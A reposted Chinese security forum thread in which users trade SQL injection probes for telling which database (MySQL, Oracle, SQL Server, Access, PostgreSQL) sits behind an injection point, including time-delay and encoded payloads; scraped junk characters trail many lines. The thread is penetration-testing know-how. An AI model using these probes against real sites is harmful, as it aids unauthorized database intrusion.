找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2195|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
( L6 d4 r# {3 S4 Qxsser (十根阳具有长短!!) | 2013-02-05 12:36
; }* l9 r0 ?' l1 Y" }0 F# {假设这么一个注射点:; q4 S% g# ?2 {& u) ^4 n: _
show.html?id=27 c  x; [- Y* B, U' D7 |, I
mysql:id=2 and version()>0. i1 E  n- S' r  p( L- u3 b. a# _
oracle:id=2 and '1'||'1'='11( T5 g& ?+ P" [; R6 l
其他的欢迎补充
* {  [6 C; b  _1#+ W1 C, S6 p( n8 o/ h; Z- ?5 n/ Q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
! K0 t3 i0 T0 ?" E2 \* B9 M6 R, pAccess:
7 v7 ]- m4 d+ X3 f' XaNd aSc(cHr(97))=976 l, Y9 w+ F5 d  N0 H3 Y7 ~1 d
and exists(select id from MSysAccessObjects): x; |% U6 w& S" Z: P
SQL Server:
3 e+ i% R" n9 j4 J4 sand exists(select id from sysobjects)
, X5 @! d- l5 A& e8 `$ M+ tand length(user)>0
' E8 i8 q- x+ }1 O( ~5 [! XMySQL:
- p9 l0 v) v  _6 a( M9 kand length(user())>0! q" ?$ g6 ^! L
2#
7 `8 d/ z3 U+ f' I( Wxsser (十根阳具有长短!!) | 2013-02-05 12:48
. Z' G) u; U+ \  n@upload 如果这些都不是呢…- K% Q0 r( h' N) d( ?! }! h
3#/ I$ x& p8 q1 p8 C6 Z
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
8 d9 l1 g% [7 O  j' k@xsser 不快速的,延时注入
9 X% w* [% ^: m1 `6 Y不知道这样写对不对
5 a( b5 f' \- `! k1 {3 w+ R# n0 D9 r# Jmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'  f. w3 ?) b3 _
mysql:id=2 and select benchmark(1e8,current_date());
! P2 i8 T! V% j' B* h4#6 c4 w) I- c6 O# f. R& y  \
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
; \# k; r4 |  E3 ]' z2 _  ^最快的貌似是看报错信息
$ p& o* b* Q+ Y0 h3 Voracle error. B1 r$ ~. G! Q
mssql error$ M9 r' p" \- E' {& p
mysql error; M) C5 ]9 ^8 Q3 z1 P
5#8 l4 k: \, y( `
Nimda (你们都是坏银~) | 2013-02-05 13:14# X4 I* w; \0 H( J  O1 t2 n8 _2 z& b
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
$ C) x% b! T! j  o  E$ g+ f% m6#+ D, f0 ?% Y9 c* n$ A$ f- f7 U
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
  M& G7 X5 B: w  v/ [$ Q0 Z1 Y' S2 S“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
1 H  D% }: F. P8 K% K“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:" B0 Q: G' K3 N  P) g
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
0 U8 j, _( F  O- k3 x' v7#- K1 h$ |' m* P& B, y+ ^
_Evil (HackEnd) | 2013-02-05 13:33
# w& Y' g$ j1 `: ^, f9 iPostgreSQL6 I$ U! k1 Q& M- S+ V
8#3 L4 ~- _  b% H2 R
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
) P% z/ K, N( n: F* A3 d  q& Z切换编码 and 1=1% h9 \  c9 B; |3 q( W0 f0 t  j/ c
oracle:3 U, [! Y+ F% l) o- U
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)4 P! {# W& ]/ H! t
mssql:
2 H! [  x1 {4 ]7 s5 |  u* ECHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49): p  E0 E, K, n( ]; d, l( L
mysql:
- g/ O7 P# Y' f/ q5 h% fCHAR(97, 110, 100, 32, 49, 61, 49)
3 F# v' l  f! X9#
* @; e5 ~! e7 A6 A) pxsser (十根阳具有长短!!) | 2013-02-05 14:31
4 q7 z8 n% ~! H& v/ e+ B$ n, F@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
/ r8 v0 h1 g8 B7 n4 ?10#5 f  o1 M9 R! @1 ?# c
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
" r. j  O2 G9 L' n, _  V; H5 n@xsser 是奇葩数据库类型的么?/ J4 a$ D5 r+ r  U5 Q
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
/ T. L) I- k. Y$ l  w1.是否可以使用特定的函数来判断,该数据库特有的& u" D( X& V$ I6 }/ Q3 v
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等* J( ]/ J1 R2 J5 L+ f3 E
3.是否可以编码查询6 G0 ?8 q9 e* h9 q2 a+ y, I7 _
4.是否显可以利用错信息# n- l$ X0 n5 J, a; M: F( P- W, M
5.是否存在数据库某些特性辅助判断. B0 {2 S7 F8 N7 C* v. Q! ?
个人见解* S: W* d  I0 a6 I6 z" @. D
11#/ N: M& }- N8 J% ~- K
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:553 f' V7 ]0 A. d/ d6 x' m
已收藏,mssql可以直接看到错误提示的吧~# i) y' f4 U7 M
12#8 n& u5 X# t- U" h3 Z1 H- T
Passer_by | 2013-02-05 15:09
" r2 B) ^+ Z' d6 c曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。! X6 `6 L8 V$ j& [9 w/ A  U" f
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表